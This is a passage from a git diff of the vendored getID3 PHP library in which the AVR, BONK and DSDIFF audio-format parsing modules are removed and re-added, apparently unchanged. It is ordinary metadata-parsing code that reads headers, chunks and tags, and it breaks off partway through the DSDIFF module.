getid3_lib::BigEndian2Int(substr($AVRheader, 40, 2)); + $info['avr']['reserved'] = getid3_lib::BigEndian2Int(substr($AVRheader, 42, 2)); + $info['avr']['sample_name_extra'] = rtrim(substr($AVRheader, 44, 20)); + $info['avr']['comment'] = rtrim(substr($AVRheader, 64, 64)); + + $info['avr']['flags']['stereo'] = (($info['avr']['raw']['mono'] == 0) ? false : true); + $info['avr']['flags']['signed'] = (($info['avr']['raw']['signed'] == 0) ? false : true); + $info['avr']['flags']['loop'] = (($info['avr']['raw']['loop'] == 0) ? false : true); + + $info['avr']['midi_notes'] = array(); + if (($info['avr']['raw']['midi'] & 0xFF00) != 0xFF00) { + $info['avr']['midi_notes'][] = ($info['avr']['raw']['midi'] & 0xFF00) >> 8; + } + if (($info['avr']['raw']['midi'] & 0x00FF) != 0x00FF) { + $info['avr']['midi_notes'][] = ($info['avr']['raw']['midi'] & 0x00FF); + } + + if (($info['avdataend'] - $info['avdataoffset']) != ($info['avr']['sample_length'] * (($info['avr']['bits_per_sample'] == 8) ? 1 : 2))) { + $this->warning('Probable truncated file: expecting '.($info['avr']['sample_length'] * (($info['avr']['bits_per_sample'] == 8) ? 1 : 2)).' bytes of audio data, found '.($info['avdataend'] - $info['avdataoffset'])); + } + + $info['audio']['dataformat'] = 'avr'; + $info['audio']['lossless'] = true; + $info['audio']['bitrate_mode'] = 'cbr'; + $info['audio']['bits_per_sample'] = $info['avr']['bits_per_sample']; + $info['audio']['sample_rate'] = $info['avr']['sample_rate']; + $info['audio']['channels'] = ($info['avr']['flags']['stereo'] ? 2 : 1); + $info['playtime_seconds'] = ($info['avr']['sample_length'] / $info['audio']['channels']) / $info['avr']['sample_rate']; + $info['audio']['bitrate'] = ($info['avr']['sample_length'] * (($info['avr']['bits_per_sample'] == 8) ? 8 : 16)) / $info['playtime_seconds']; + + + return true; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.bonk.php b/vendor/james-heinrich/getid3/getid3/module.audio.bonk.php index 1b303181ff..c6cf9ac7c9 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.bonk.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.bonk.php @@ -1,243 +1,243 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.la.php // -// module for analyzing BONK audio files // -// dependencies: module.tag.id3v2.php (optional) // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_bonk extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - // shortcut - $info['bonk'] = array(); - $thisfile_bonk = &$info['bonk']; - - $thisfile_bonk['dataoffset'] = $info['avdataoffset']; - $thisfile_bonk['dataend'] = $info['avdataend']; - - if (!getid3_lib::intValueSupported($thisfile_bonk['dataend'])) { - - $this->warning('Unable to parse BONK file from end (v0.6+ preferred method) because PHP filesystem functions only support up to '.round(PHP_INT_MAX / 1073741824).'GB'); - - } else { - - // scan-from-end method, for v0.6 and higher - $this->fseek($thisfile_bonk['dataend'] - 8); - $PossibleBonkTag = $this->fread(8); - while ($this->BonkIsValidTagName(substr($PossibleBonkTag, 4, 4), true)) { - $BonkTagSize = getid3_lib::LittleEndian2Int(substr($PossibleBonkTag, 0, 4)); - $this->fseek(0 - $BonkTagSize, SEEK_CUR); - $BonkTagOffset = $this->ftell(); - $TagHeaderTest = $this->fread(5); - if (($TagHeaderTest[0] != "\x00") || (substr($PossibleBonkTag, 4, 4) != strtolower(substr($PossibleBonkTag, 4, 4)))) { - $this->error('Expecting "'.getid3_lib::PrintHexBytes("\x00".strtoupper(substr($PossibleBonkTag, 4, 4))).'" at offset '.$BonkTagOffset.', found "'.getid3_lib::PrintHexBytes($TagHeaderTest).'"'); - return false; - } - $BonkTagName = substr($TagHeaderTest, 1, 4); - - $thisfile_bonk[$BonkTagName]['size'] = $BonkTagSize; - $thisfile_bonk[$BonkTagName]['offset'] = $BonkTagOffset; - $this->HandleBonkTags($BonkTagName); - $NextTagEndOffset = $BonkTagOffset - 8; - if ($NextTagEndOffset < $thisfile_bonk['dataoffset']) { - if (empty($info['audio']['encoder'])) { - $info['audio']['encoder'] = 'Extended BONK v0.9+'; - } - return true; - } - $this->fseek($NextTagEndOffset); - $PossibleBonkTag = $this->fread(8); - } - - } - - // seek-from-beginning method for v0.4 and v0.5 - if (empty($thisfile_bonk['BONK'])) { - $this->fseek($thisfile_bonk['dataoffset']); - do { - $TagHeaderTest = $this->fread(5); - switch ($TagHeaderTest) { - case "\x00".'BONK': - if (empty($info['audio']['encoder'])) { - $info['audio']['encoder'] = 'BONK v0.4'; - } - break; - - case "\x00".'INFO': - $info['audio']['encoder'] = 'Extended BONK v0.5'; - break; - - default: - break 2; - } - $BonkTagName = substr($TagHeaderTest, 1, 4); - $thisfile_bonk[$BonkTagName]['size'] = $thisfile_bonk['dataend'] - $thisfile_bonk['dataoffset']; - $thisfile_bonk[$BonkTagName]['offset'] = $thisfile_bonk['dataoffset']; - $this->HandleBonkTags($BonkTagName); - - } while (true); - } - - // parse META block for v0.6 - v0.8 - if (empty($thisfile_bonk['INFO']) && isset($thisfile_bonk['META']['tags']['info'])) { - $this->fseek($thisfile_bonk['META']['tags']['info']); - $TagHeaderTest = $this->fread(5); - if ($TagHeaderTest == "\x00".'INFO') { - $info['audio']['encoder'] = 'Extended BONK v0.6 - v0.8'; - - $BonkTagName = substr($TagHeaderTest, 1, 4); - $thisfile_bonk[$BonkTagName]['size'] = $thisfile_bonk['dataend'] - $thisfile_bonk['dataoffset']; - $thisfile_bonk[$BonkTagName]['offset'] = $thisfile_bonk['dataoffset']; - $this->HandleBonkTags($BonkTagName); - } - } - - if (empty($info['audio']['encoder'])) { - $info['audio']['encoder'] = 'Extended BONK v0.9+'; - } - if (empty($thisfile_bonk['BONK'])) { - unset($info['bonk']); - } - return true; - - } - - /** - * @param string $BonkTagName - */ - public function HandleBonkTags($BonkTagName) { - $info = &$this->getid3->info; - switch ($BonkTagName) { - case 'BONK': - // shortcut - $thisfile_bonk_BONK = &$info['bonk']['BONK']; - - $BonkData = "\x00".'BONK'.$this->fread(17); - $thisfile_bonk_BONK['version'] = getid3_lib::LittleEndian2Int(substr($BonkData, 5, 1)); - $thisfile_bonk_BONK['number_samples'] = getid3_lib::LittleEndian2Int(substr($BonkData, 6, 4)); - $thisfile_bonk_BONK['sample_rate'] = getid3_lib::LittleEndian2Int(substr($BonkData, 10, 4)); - - $thisfile_bonk_BONK['channels'] = getid3_lib::LittleEndian2Int(substr($BonkData, 14, 1)); - $thisfile_bonk_BONK['lossless'] = (bool) getid3_lib::LittleEndian2Int(substr($BonkData, 15, 1)); - $thisfile_bonk_BONK['joint_stereo'] = (bool) getid3_lib::LittleEndian2Int(substr($BonkData, 16, 1)); - $thisfile_bonk_BONK['number_taps'] = getid3_lib::LittleEndian2Int(substr($BonkData, 17, 2)); - $thisfile_bonk_BONK['downsampling_ratio'] = getid3_lib::LittleEndian2Int(substr($BonkData, 19, 1)); - $thisfile_bonk_BONK['samples_per_packet'] = getid3_lib::LittleEndian2Int(substr($BonkData, 20, 2)); - - $info['avdataoffset'] = $thisfile_bonk_BONK['offset'] + 5 + 17; - $info['avdataend'] = $thisfile_bonk_BONK['offset'] + $thisfile_bonk_BONK['size']; - - $info['fileformat'] = 'bonk'; - $info['audio']['dataformat'] = 'bonk'; - $info['audio']['bitrate_mode'] = 'vbr'; // assumed - $info['audio']['channels'] = $thisfile_bonk_BONK['channels']; - $info['audio']['sample_rate'] = $thisfile_bonk_BONK['sample_rate']; - $info['audio']['channelmode'] = ($thisfile_bonk_BONK['joint_stereo'] ? 'joint stereo' : 'stereo'); - $info['audio']['lossless'] = $thisfile_bonk_BONK['lossless']; - $info['audio']['codec'] = 'bonk'; - - $info['playtime_seconds'] = $thisfile_bonk_BONK['number_samples'] / ($thisfile_bonk_BONK['sample_rate'] * $thisfile_bonk_BONK['channels']); - if ($info['playtime_seconds'] > 0) { - $info['audio']['bitrate'] = (($info['bonk']['dataend'] - $info['bonk']['dataoffset']) * 8) / $info['playtime_seconds']; - } - break; - - case 'INFO': - // shortcut - $thisfile_bonk_INFO = &$info['bonk']['INFO']; - - $thisfile_bonk_INFO['version'] = getid3_lib::LittleEndian2Int($this->fread(1)); - $thisfile_bonk_INFO['entries_count'] = 0; - $NextInfoDataPair = $this->fread(5); - if (!$this->BonkIsValidTagName(substr($NextInfoDataPair, 1, 4))) { - while (!feof($this->getid3->fp)) { - //$CurrentSeekInfo['offset'] = getid3_lib::LittleEndian2Int(substr($NextInfoDataPair, 0, 4)); - //$CurrentSeekInfo['nextbit'] = getid3_lib::LittleEndian2Int(substr($NextInfoDataPair, 4, 1)); - //$thisfile_bonk_INFO[] = $CurrentSeekInfo; - - $NextInfoDataPair = $this->fread(5); - if ($this->BonkIsValidTagName(substr($NextInfoDataPair, 1, 4))) { - $this->fseek(-5, SEEK_CUR); - break; - } - $thisfile_bonk_INFO['entries_count']++; - } - } - break; - - case 'META': - $BonkData = "\x00".'META'.$this->fread($info['bonk']['META']['size'] - 5); - $info['bonk']['META']['version'] = getid3_lib::LittleEndian2Int(substr($BonkData, 5, 1)); - - $MetaTagEntries = floor(((strlen($BonkData) - 8) - 6) / 8); // BonkData - xxxxmeta - ØMETA - $offset = 6; - for ($i = 0; $i < $MetaTagEntries; $i++) { - $MetaEntryTagName = substr($BonkData, $offset, 4); - $offset += 4; - $MetaEntryTagOffset = getid3_lib::LittleEndian2Int(substr($BonkData, $offset, 4)); - $offset += 4; - $info['bonk']['META']['tags'][$MetaEntryTagName] = $MetaEntryTagOffset; - } - break; - - case ' ID3': - $info['audio']['encoder'] = 'Extended BONK v0.9+'; - - // ID3v2 checking is optional - if (class_exists('getid3_id3v2')) { - $getid3_temp = new getID3(); - $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); - $getid3_id3v2 = new getid3_id3v2($getid3_temp); - $getid3_id3v2->StartingOffset = $info['bonk'][' ID3']['offset'] + 2; - $info['bonk'][' ID3']['valid'] = $getid3_id3v2->Analyze(); - if ($info['bonk'][' ID3']['valid']) { - $info['id3v2'] = $getid3_temp->info['id3v2']; - } - unset($getid3_temp, $getid3_id3v2); - } - break; - - default: - $this->warning('Unexpected Bonk tag "'.$BonkTagName.'" at offset '.$info['bonk'][$BonkTagName]['offset']); - break; - - } - } - - /** - * @param string $PossibleBonkTag - * @param bool $ignorecase - * - * @return bool - */ - public static function BonkIsValidTagName($PossibleBonkTag, $ignorecase=false) { - static $BonkIsValidTagName = array('BONK', 'INFO', ' ID3', 'META'); - foreach ($BonkIsValidTagName as $validtagname) { - if ($validtagname == $PossibleBonkTag) { - return true; - } elseif ($ignorecase && (strtolower($validtagname) == strtolower($PossibleBonkTag))) { - return true; - } - } - return false; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.la.php // +// module for analyzing BONK audio files // +// dependencies: module.tag.id3v2.php (optional) // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_bonk extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + // shortcut + $info['bonk'] = array(); + $thisfile_bonk = &$info['bonk']; + + $thisfile_bonk['dataoffset'] = $info['avdataoffset']; + $thisfile_bonk['dataend'] = $info['avdataend']; + + if (!getid3_lib::intValueSupported($thisfile_bonk['dataend'])) { + + $this->warning('Unable to parse BONK file from end (v0.6+ preferred method) because PHP filesystem functions only support up to '.round(PHP_INT_MAX / 1073741824).'GB'); + + } else { + + // scan-from-end method, for v0.6 and higher + $this->fseek($thisfile_bonk['dataend'] - 8); + $PossibleBonkTag = $this->fread(8); + while ($this->BonkIsValidTagName(substr($PossibleBonkTag, 4, 4), true)) { + $BonkTagSize = getid3_lib::LittleEndian2Int(substr($PossibleBonkTag, 0, 4)); + $this->fseek(0 - $BonkTagSize, SEEK_CUR); + $BonkTagOffset = $this->ftell(); + $TagHeaderTest = $this->fread(5); + if (($TagHeaderTest[0] != "\x00") || (substr($PossibleBonkTag, 4, 4) != strtolower(substr($PossibleBonkTag, 4, 4)))) { + $this->error('Expecting "'.getid3_lib::PrintHexBytes("\x00".strtoupper(substr($PossibleBonkTag, 4, 4))).'" at offset '.$BonkTagOffset.', found "'.getid3_lib::PrintHexBytes($TagHeaderTest).'"'); + return false; + } + $BonkTagName = substr($TagHeaderTest, 1, 4); + + $thisfile_bonk[$BonkTagName]['size'] = $BonkTagSize; + $thisfile_bonk[$BonkTagName]['offset'] = $BonkTagOffset; + $this->HandleBonkTags($BonkTagName); + $NextTagEndOffset = $BonkTagOffset - 8; + if ($NextTagEndOffset < $thisfile_bonk['dataoffset']) { + if (empty($info['audio']['encoder'])) { + $info['audio']['encoder'] = 'Extended BONK v0.9+'; + } + return true; + } + $this->fseek($NextTagEndOffset); + $PossibleBonkTag = $this->fread(8); + } + + } + + // seek-from-beginning method for v0.4 and v0.5 + if (empty($thisfile_bonk['BONK'])) { + $this->fseek($thisfile_bonk['dataoffset']); + do { + $TagHeaderTest = $this->fread(5); + switch ($TagHeaderTest) { + case "\x00".'BONK': + if (empty($info['audio']['encoder'])) { + $info['audio']['encoder'] = 'BONK v0.4'; + } + break; + + case "\x00".'INFO': + $info['audio']['encoder'] = 'Extended BONK v0.5'; + break; + + default: + break 2; + } + $BonkTagName = substr($TagHeaderTest, 1, 4); + $thisfile_bonk[$BonkTagName]['size'] = $thisfile_bonk['dataend'] - $thisfile_bonk['dataoffset']; + $thisfile_bonk[$BonkTagName]['offset'] = $thisfile_bonk['dataoffset']; + $this->HandleBonkTags($BonkTagName); + + } while (true); + } + + // parse META block for v0.6 - v0.8 + if (empty($thisfile_bonk['INFO']) && isset($thisfile_bonk['META']['tags']['info'])) { + $this->fseek($thisfile_bonk['META']['tags']['info']); + $TagHeaderTest = $this->fread(5); + if ($TagHeaderTest == "\x00".'INFO') { + $info['audio']['encoder'] = 'Extended BONK v0.6 - v0.8'; + + $BonkTagName = substr($TagHeaderTest, 1, 4); + $thisfile_bonk[$BonkTagName]['size'] = $thisfile_bonk['dataend'] - $thisfile_bonk['dataoffset']; + $thisfile_bonk[$BonkTagName]['offset'] = $thisfile_bonk['dataoffset']; + $this->HandleBonkTags($BonkTagName); + } + } + + if (empty($info['audio']['encoder'])) { + $info['audio']['encoder'] = 'Extended BONK v0.9+'; + } + if (empty($thisfile_bonk['BONK'])) { + unset($info['bonk']); + } + return true; + + } + + /** + * @param string $BonkTagName + */ + public function HandleBonkTags($BonkTagName) { + $info = &$this->getid3->info; + switch ($BonkTagName) { + case 'BONK': + // shortcut + $thisfile_bonk_BONK = &$info['bonk']['BONK']; + + $BonkData = "\x00".'BONK'.$this->fread(17); + $thisfile_bonk_BONK['version'] = getid3_lib::LittleEndian2Int(substr($BonkData, 5, 1)); + $thisfile_bonk_BONK['number_samples'] = getid3_lib::LittleEndian2Int(substr($BonkData, 6, 4)); + $thisfile_bonk_BONK['sample_rate'] = getid3_lib::LittleEndian2Int(substr($BonkData, 10, 4)); + + $thisfile_bonk_BONK['channels'] = getid3_lib::LittleEndian2Int(substr($BonkData, 14, 1)); + $thisfile_bonk_BONK['lossless'] = (bool) getid3_lib::LittleEndian2Int(substr($BonkData, 15, 1)); + $thisfile_bonk_BONK['joint_stereo'] = (bool) getid3_lib::LittleEndian2Int(substr($BonkData, 16, 1)); + $thisfile_bonk_BONK['number_taps'] = getid3_lib::LittleEndian2Int(substr($BonkData, 17, 2)); + $thisfile_bonk_BONK['downsampling_ratio'] = getid3_lib::LittleEndian2Int(substr($BonkData, 19, 1)); + $thisfile_bonk_BONK['samples_per_packet'] = getid3_lib::LittleEndian2Int(substr($BonkData, 20, 2)); + + $info['avdataoffset'] = $thisfile_bonk_BONK['offset'] + 5 + 17; + $info['avdataend'] = $thisfile_bonk_BONK['offset'] + $thisfile_bonk_BONK['size']; + + $info['fileformat'] = 'bonk'; + $info['audio']['dataformat'] = 'bonk'; + $info['audio']['bitrate_mode'] = 'vbr'; // assumed + $info['audio']['channels'] = $thisfile_bonk_BONK['channels']; + $info['audio']['sample_rate'] = $thisfile_bonk_BONK['sample_rate']; + $info['audio']['channelmode'] = ($thisfile_bonk_BONK['joint_stereo'] ? 'joint stereo' : 'stereo'); + $info['audio']['lossless'] = $thisfile_bonk_BONK['lossless']; + $info['audio']['codec'] = 'bonk'; + + $info['playtime_seconds'] = $thisfile_bonk_BONK['number_samples'] / ($thisfile_bonk_BONK['sample_rate'] * $thisfile_bonk_BONK['channels']); + if ($info['playtime_seconds'] > 0) { + $info['audio']['bitrate'] = (($info['bonk']['dataend'] - $info['bonk']['dataoffset']) * 8) / $info['playtime_seconds']; + } + break; + + case 'INFO': + // shortcut + $thisfile_bonk_INFO = &$info['bonk']['INFO']; + + $thisfile_bonk_INFO['version'] = getid3_lib::LittleEndian2Int($this->fread(1)); + $thisfile_bonk_INFO['entries_count'] = 0; + $NextInfoDataPair = $this->fread(5); + if (!$this->BonkIsValidTagName(substr($NextInfoDataPair, 1, 4))) { + while (!feof($this->getid3->fp)) { + //$CurrentSeekInfo['offset'] = getid3_lib::LittleEndian2Int(substr($NextInfoDataPair, 0, 4)); + //$CurrentSeekInfo['nextbit'] = getid3_lib::LittleEndian2Int(substr($NextInfoDataPair, 4, 1)); + //$thisfile_bonk_INFO[] = $CurrentSeekInfo; + + $NextInfoDataPair = $this->fread(5); + if ($this->BonkIsValidTagName(substr($NextInfoDataPair, 1, 4))) { + $this->fseek(-5, SEEK_CUR); + break; + } + $thisfile_bonk_INFO['entries_count']++; + } + } + break; + + case 'META': + $BonkData = "\x00".'META'.$this->fread($info['bonk']['META']['size'] - 5); + $info['bonk']['META']['version'] = getid3_lib::LittleEndian2Int(substr($BonkData, 5, 1)); + + $MetaTagEntries = floor(((strlen($BonkData) - 8) - 6) / 8); // BonkData - xxxxmeta - ØMETA + $offset = 6; + for ($i = 0; $i < $MetaTagEntries; $i++) { + $MetaEntryTagName = substr($BonkData, $offset, 4); + $offset += 4; + $MetaEntryTagOffset = getid3_lib::LittleEndian2Int(substr($BonkData, $offset, 4)); + $offset += 4; + $info['bonk']['META']['tags'][$MetaEntryTagName] = $MetaEntryTagOffset; + } + break; + + case ' ID3': + $info['audio']['encoder'] = 'Extended BONK v0.9+'; + + // ID3v2 checking is optional + if (class_exists('getid3_id3v2')) { + $getid3_temp = new getID3(); + $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); + $getid3_id3v2 = new getid3_id3v2($getid3_temp); + $getid3_id3v2->StartingOffset = $info['bonk'][' ID3']['offset'] + 2; + $info['bonk'][' ID3']['valid'] = $getid3_id3v2->Analyze(); + if ($info['bonk'][' ID3']['valid']) { + $info['id3v2'] = $getid3_temp->info['id3v2']; + } + unset($getid3_temp, $getid3_id3v2); + } + break; + + default: + $this->warning('Unexpected Bonk tag "'.$BonkTagName.'" at offset '.$info['bonk'][$BonkTagName]['offset']); + break; + + } + } + + /** + * @param string $PossibleBonkTag + * @param bool $ignorecase + * + * @return bool + */ + public static function BonkIsValidTagName($PossibleBonkTag, $ignorecase=false) { + static $BonkIsValidTagName = array('BONK', 'INFO', ' ID3', 'META'); + foreach ($BonkIsValidTagName as $validtagname) { + if ($validtagname == $PossibleBonkTag) { + return true; + } elseif ($ignorecase && (strtolower($validtagname) == strtolower($PossibleBonkTag))) { + return true; + } + } + return false; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.dsdiff.php b/vendor/james-heinrich/getid3/getid3/module.audio.dsdiff.php index 53d7c33168..20fb0d9a8a 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.dsdiff.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.dsdiff.php @@ -1,311 +1,311 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.dsdiff.php // -// module for analyzing Direct Stream Digital Interchange // -// File Format (DSDIFF) files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_dsdiff extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $this->fseek($info['avdataoffset']); - $DSDIFFheader = $this->fread(4); - - // https://dsd-guide.com/sites/default/files/white-papers/DSDIFF_1.5_Spec.pdf - if (substr($DSDIFFheader, 0, 4) != 'FRM8') { - $this->error('Expecting "FRM8" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($DSDIFFheader, 0, 4)).'"'); - return false; - } - unset($DSDIFFheader); - $this->fseek($info['avdataoffset']); - - $info['encoding'] = 'ISO-8859-1'; // not certain, but assumed - $info['fileformat'] = 'dsdiff'; - $info['mime_type'] = 'audio/dsd'; - $info['audio']['dataformat'] = 'dsdiff'; - $info['audio']['bitrate_mode'] = 'cbr'; - $info['audio']['bits_per_sample'] = 1; - - $info['dsdiff'] = array(); - $thisChunk = null; - while (!$this->feof() && ($ChunkHeader = $this->fread(12))) { - if (strlen($ChunkHeader) < 12) { - $this->error('Expecting chunk header at offset '.(isset($thisChunk['offset']) ? $thisChunk['offset'] : 'N/A').', found insufficient data in file, aborting parsing'); - break; - } - $thisChunk = array(); - $thisChunk['offset'] = $this->ftell() - 12; - $thisChunk['name'] = substr($ChunkHeader, 0, 4); - if (!preg_match('#^[\\x21-\\x7E]+ *$#', $thisChunk['name'])) { - // "a concatenation of four printable ASCII characters in the range ' ' (space, 0x20) through '~'(0x7E). Space (0x20) cannot precede printing characters; trailing spaces are allowed." - $this->error('Invalid chunk name "'.$thisChunk['name'].'" ('.getid3_lib::PrintHexBytes($thisChunk['name']).') at offset '.$thisChunk['offset'].', aborting parsing'); - } - $thisChunk['size'] = getid3_lib::BigEndian2Int(substr($ChunkHeader, 4, 8)); - $datasize = $thisChunk['size'] + ($thisChunk['size'] % 2); // "If the data is an odd number of bytes in length, a pad byte must be added at the end. The pad byte is not included in ckDataSize." - - switch ($thisChunk['name']) { - case 'FRM8': - $thisChunk['form_type'] = $this->fread(4); - if ($thisChunk['form_type'] != 'DSD ') { - $this->error('Expecting "DSD " at offset '.($this->ftell() - 4).', found "'.getid3_lib::PrintHexBytes($thisChunk['form_type']).'", aborting parsing'); - break 2; - } - // do nothing further, prevent skipping subchunks - break; - case 'PROP': // PROPerty chunk - $thisChunk['prop_type'] = $this->fread(4); - if ($thisChunk['prop_type'] != 'SND ') { - $this->error('Expecting "SND " at offset '.($this->ftell() - 4).', found "'.getid3_lib::PrintHexBytes($thisChunk['prop_type']).'", aborting parsing'); - break 2; - } - // do nothing further, prevent skipping subchunks - break; - case 'DIIN': // eDIted master INformation chunk - // do nothing, just prevent skipping subchunks - break; - - case 'FVER': // Format VERsion chunk - if ($thisChunk['size'] == 4) { - $FVER = $this->fread(4); - $info['dsdiff']['format_version'] = ord($FVER[0]).'.'.ord($FVER[1]).'.'.ord($FVER[2]).'.'.ord($FVER[3]); - unset($FVER); - } else { - $this->warning('Expecting "FVER" chunk to be 4 bytes, found '.$thisChunk['size'].' bytes, skipping chunk'); - $this->fseek($datasize, SEEK_CUR); - } - break; - case 'FS ': // sample rate chunk - if ($thisChunk['size'] == 4) { - $info['dsdiff']['sample_rate'] = getid3_lib::BigEndian2Int($this->fread(4)); - $info['audio']['sample_rate'] = $info['dsdiff']['sample_rate']; - } else { - $this->warning('Expecting "FVER" chunk to be 4 bytes, found '.$thisChunk['size'].' bytes, skipping chunk'); - $this->fseek($datasize, SEEK_CUR); - } - break; - case 'CHNL': // CHaNneLs chunk - $thisChunk['num_channels'] = getid3_lib::BigEndian2Int($this->fread(2)); - if ($thisChunk['num_channels'] == 0) { - $this->warning('channel count should be greater than zero, skipping chunk'); - $this->fseek($datasize - 2, SEEK_CUR); - } - for ($i = 0; $i < $thisChunk['num_channels']; $i++) { - $thisChunk['channels'][$i] = $this->fread(4); - } - $info['audio']['channels'] = $thisChunk['num_channels']; - break; - case 'CMPR': // CoMPRession type chunk - $thisChunk['compression_type'] = $this->fread(4); - $info['audio']['dataformat'] = trim($thisChunk['compression_type']); - $humanReadableByteLength = getid3_lib::BigEndian2Int($this->fread(1)); - $thisChunk['compression_name'] = $this->fread($humanReadableByteLength); - if (($humanReadableByteLength % 2) == 0) { - // need to seek to multiple of 2 bytes, human-readable string length is only one byte long so if the string is an even number of bytes we need to seek past a padding byte after the string - $this->fseek(1, SEEK_CUR); - } - unset($humanReadableByteLength); - break; - case 'ABSS': // ABSolute Start time chunk - $ABSS = $this->fread(8); - $info['dsdiff']['absolute_start_time']['hours'] = getid3_lib::BigEndian2Int(substr($ABSS, 0, 2)); - $info['dsdiff']['absolute_start_time']['minutes'] = getid3_lib::BigEndian2Int(substr($ABSS, 2, 1)); - $info['dsdiff']['absolute_start_time']['seconds'] = getid3_lib::BigEndian2Int(substr($ABSS, 3, 1)); - $info['dsdiff']['absolute_start_time']['samples'] = getid3_lib::BigEndian2Int(substr($ABSS, 4, 4)); - unset($ABSS); - break; - case 'LSCO': // LoudSpeaker COnfiguration chunk - // 0 = 2-channel stereo set-up - // 3 = 5-channel set-up according to ITU-R BS.775-1 [ITU] - // 4 = 6-channel set-up, 5-channel set-up according to ITU-R BS.775-1 [ITU], plus additional Low Frequency Enhancement (LFE) loudspeaker. Also known as "5.1 configuration" - // 65535 = Undefined channel set-up - $thisChunk['loundspeaker_config_id'] = getid3_lib::BigEndian2Int($this->fread(2)); - break; - case 'COMT': // COMmenTs chunk - $thisChunk['num_comments'] = getid3_lib::BigEndian2Int($this->fread(2)); - for ($i = 0; $i < $thisChunk['num_comments']; $i++) { - $thisComment = array(); - $COMT = $this->fread(14); - $thisComment['creation_year'] = getid3_lib::BigEndian2Int(substr($COMT, 0, 2)); - $thisComment['creation_month'] = getid3_lib::BigEndian2Int(substr($COMT, 2, 1)); - $thisComment['creation_day'] = getid3_lib::BigEndian2Int(substr($COMT, 3, 1)); - $thisComment['creation_hour'] = getid3_lib::BigEndian2Int(substr($COMT, 4, 1)); - $thisComment['creation_minute'] = getid3_lib::BigEndian2Int(substr($COMT, 5, 1)); - $thisComment['comment_type_id'] = getid3_lib::BigEndian2Int(substr($COMT, 6, 2)); - $thisComment['comment_ref_id'] = getid3_lib::BigEndian2Int(substr($COMT, 8, 2)); - $thisComment['string_length'] = getid3_lib::BigEndian2Int(substr($COMT, 10, 4)); - $thisComment['comment_text'] = $this->fread($thisComment['string_length']); - if ($thisComment['string_length'] % 2) { - // commentText[] is the description of the Comment. This text must be padded with a byte at the end, if needed, to make it an even number of bytes long. This pad byte, if present, is not included in count. - $this->fseek(1, SEEK_CUR); - } - $thisComment['comment_type'] = $this->DSDIFFcmtType($thisComment['comment_type_id']); - $thisComment['comment_reference'] = $this->DSDIFFcmtRef($thisComment['comment_type_id'], $thisComment['comment_ref_id']); - $thisComment['creation_unix'] = mktime($thisComment['creation_hour'], $thisComment['creation_minute'], 0, $thisComment['creation_month'], $thisComment['creation_day'], $thisComment['creation_year']); - $thisChunk['comments'][$i] = $thisComment; - - $commentkey = ($thisComment['comment_reference'] ?: 'comment'); - $info['dsdiff']['comments'][$commentkey][] = $thisComment['comment_text']; - unset($thisComment); - } - break; - case 'MARK': // MARKer chunk - $MARK = $this->fread(22); - $thisChunk['marker_hours'] = getid3_lib::BigEndian2Int(substr($MARK, 0, 2)); - $thisChunk['marker_minutes'] = getid3_lib::BigEndian2Int(substr($MARK, 2, 1)); - $thisChunk['marker_seconds'] = getid3_lib::BigEndian2Int(substr($MARK, 3, 1)); - $thisChunk['marker_samples'] = getid3_lib::BigEndian2Int(substr($MARK, 4, 4)); - $thisChunk['marker_offset'] = getid3_lib::BigEndian2Int(substr($MARK, 8, 4)); - $thisChunk['marker_type_id'] = getid3_lib::BigEndian2Int(substr($MARK, 12, 2)); - $thisChunk['marker_channel'] = getid3_lib::BigEndian2Int(substr($MARK, 14, 2)); - $thisChunk['marker_flagraw'] = getid3_lib::BigEndian2Int(substr($MARK, 16, 2)); - $thisChunk['string_length'] = getid3_lib::BigEndian2Int(substr($MARK, 18, 4)); - $thisChunk['description'] = ($thisChunk['string_length'] ? $this->fread($thisChunk['string_length']) : ''); - if ($thisChunk['string_length'] % 2) { - // markerText[] is the description of the marker. This text must be padded with a byte at the end, if needed, to make it an even number of bytes long. This pad byte, if present, is not included in count. - $this->fseek(1, SEEK_CUR); - } - $thisChunk['marker_type'] = $this->DSDIFFmarkType($thisChunk['marker_type_id']); - unset($MARK); - break; - case 'DIAR': // artist chunk - case 'DITI': // title chunk - $thisChunk['string_length'] = getid3_lib::BigEndian2Int($this->fread(4)); - $thisChunk['description'] = ($thisChunk['string_length'] ? $this->fread($thisChunk['string_length']) : ''); - if ($thisChunk['string_length'] % 2) { - // This text must be padded with a byte at the end, if needed, to make it an even number of bytes long. This pad byte, if present, is not included in count. - $this->fseek(1, SEEK_CUR); - } - - if ($commentkey = (($thisChunk['name'] == 'DIAR') ? 'artist' : (($thisChunk['name'] == 'DITI') ? 'title' : ''))) { - @$info['dsdiff']['comments'][$commentkey][] = $thisChunk['description']; - } - break; - case 'EMID': // 